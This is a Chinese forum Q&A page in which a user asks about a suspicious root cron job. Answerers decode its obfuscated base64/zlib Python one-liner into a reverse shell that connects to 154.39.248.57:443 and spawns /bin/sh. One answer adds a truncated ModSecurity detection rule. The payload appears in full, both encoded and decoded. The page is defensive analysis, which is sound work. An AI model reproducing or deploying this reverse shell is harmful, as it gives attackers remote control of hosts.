可疑的定时任务,哪位知道这段是在干啥?

可疑的定时任务,哪位知道这段是在干啥?

* * * * * * root python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqVkN8LgjAQx/8V8WmCrNRJRexBwiCigvRdci2UbDe8+f+HaCzYk/dyvz533+Paj4beeAjiLY33sxCHWvcgJKKtgY33s28ADfejlNFkR2O2penGd6BRgDOWOA3kkyydHJmz7Fidrnn5d8xUL26Hc1WU9zy7BO4uKkApKQwh41F2eFQPXB6QPgcdE6SvtpMKiEXC9TI8WobHLq65/TcVj64j/qpu1QobP/gCW1di3Q==')[0])))" #pbWyavFnMg


回答:

解码后的内容,看起来确实比较可疑,打开了一个 socket,其他的不太清楚,不是很熟悉 py 的内容。

import socket,subprocess,os;

host="154.39.248.57";

port=443;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((host,port));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call("/bin/sh")

简单查了一下,结合经验,就是用 dup2 把 socket fd 的重定向到了 标准输出、标准输入、错误输出,然后调用了 /bin/sh ,看起来这里的作用应该可能是 /bin/sh 会执行上面的代码?简单的说,可能就是会执行任意 shell 代码了。

不过这个地址目前是连接不上


回答:

这段脚本的可疑度蛮高,做了压缩和编码(这么做的目的也许是为了绕过linux已安装安全软件的特征检测),是一个反向 Shell 的 Python 代码,可以用来实现远程控制目标主机。它使用了 socket、subprocess、os 等 Python 库来进行网络通信和进程控制。

该代码的作用是向 154.39.248.57 主机的 443 端口发起连接,并将标准输入、标准输出和标准错误输出都重定向到该连接上。然后,它使用 /bin/sh 命令启动一个 Shell 进程,并将其标准输入、标准输出和标准错误输出都重定向到该连接上,从而实现远程 Shell 控制的功能。

简单一句话解释就是可以被攻击者用来远程控制目标主机。

给楼主一个防火墙规则的demo,可以用来过滤该反向 Shell 的 Python 代码:

SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS|ARGS_NAMES|REQUEST_BODY|REQUEST_URI "@rx /import\s+socket\s*,\s*subprocess\s*,\s*os\s*;\s*host\s*=\s*\".*?\"\s*;\s*port\s*=\s*\d+\s*;\s*s\s*=\s*socket\.socket\(socket\.AF_INET\s*,\s*socket\.SOCK_STREAM\s*\)\s*;\s*s\.connect\((host\s*,\s*port)\)\s*;\s*os\.dup2\(s\.fileno\(\)\s*,\s*0\s*\)\s*;\s*os

以上是 可疑的定时任务,哪位知道这段是在干啥? 的全部内容, 来源链接: utcz.com/p/938760.html

回到顶部